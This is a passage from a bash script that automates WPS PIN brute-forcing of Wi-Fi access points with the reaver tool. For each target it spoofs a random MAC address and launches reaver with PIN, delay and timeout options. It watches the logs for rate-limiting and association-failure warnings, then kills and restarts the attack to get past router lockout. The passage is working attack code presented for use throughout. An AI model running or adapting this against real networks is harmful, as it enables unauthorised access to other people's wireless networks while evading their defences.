#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME30-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R30 == n || $USE_R30 == N ]] && [[ $USE_LONG30 == n || $USE_LONG30 == N ]] && [[ $USE_PIN30 == y || $USE_PIN30 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME30"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL30"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP30"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE30 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME30-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL30 -b $TARGETAP30 -vv -x 60  --pin=$WPS_PIN30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME30-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE30-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME30-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME30-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME30-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME30-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME30-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME30-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME30-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME30-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME30-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME30-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME30-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME30-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP30 (ESSID: $NMEWARN30)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME30-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME30-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME30-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME30-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP30 (ESSID: $NMEWARN30)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME30-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R30 == y || $USE_R30 == Y ]] && [[ $USE_LONG30 == n || $USE_LONG30 == N ]] && [[ $USE_PIN30 == y || $USE_PIN30 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME30"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL30"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP30"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX30" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY30"
echo -e "$info Reaver live time                   = $yel$LIVE30 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME30-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL30 -b $TARGETAP30 -vv -x 60 -r $RX30:$RY30 --pin=$WPS_PIN30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME30-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE30-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME30-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME30-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME30-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME30-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME30-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME30-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME30-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME30-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME30-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME30-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME30-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME30-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP30 (ESSID: $NMEWARN30)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME30-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME30-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME30-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME30-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP30 (ESSID: $NMEWARN30)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME30-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R30 == n || $USE_R30 == N ]] && [[ $USE_LONG30 == y || $USE_LONG30 == Y ]] && [[ $USE_PIN30 == y || $USE_PIN30 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME30"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL30"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP30"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE30 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME30-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL30 -b $TARGETAP30 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME30-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE30-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME30-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME30-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME30-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME30-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME30-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME30-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME30-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME30-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME30-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME30-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME30-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME30-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP30 (ESSID: $NMEWARN30)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME30-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME30-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME30-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME30-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP30 (ESSID: $NMEWARN30)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME30-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R30 == y || $USE_R30 == Y ]] && [[ $USE_LONG30 == y || $USE_LONG30 == Y ]] && [[ $USE_PIN30 == y || $USE_PIN30 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME30"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL30"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP30"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX30" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY30"
echo -e "$info Reaver live time                   = $yel$LIVE30 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME30-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL30 -b $TARGETAP30 -r $RX30:$RY30 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME30-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE30-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME30-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME30-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME30-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME30-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME30-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME30-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME30-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME30-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME30-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME30-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME30-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME30-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP30 (ESSID: $NMEWARN30)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME30-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME30-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME30-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME30-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP30 (ESSID: $NMEWARN30)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME30-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE30 == n ] || [ $KEEP_FILE30 == N ]; then

          rm VARMAC_LOGS/$NAME30-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R31 == n || $USE_R31 == N ]] && [[ $USE_LONG31 == n || $USE_LONG31 == N ]] && [[ $USE_PIN31 == n || $USE_PIN31 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME31"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL31"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP31"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE31 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME31-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL31 -b $TARGETAP31 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME31-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE31-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME31-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME31-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME31-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME31-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME31-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME31-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME31-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME31-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

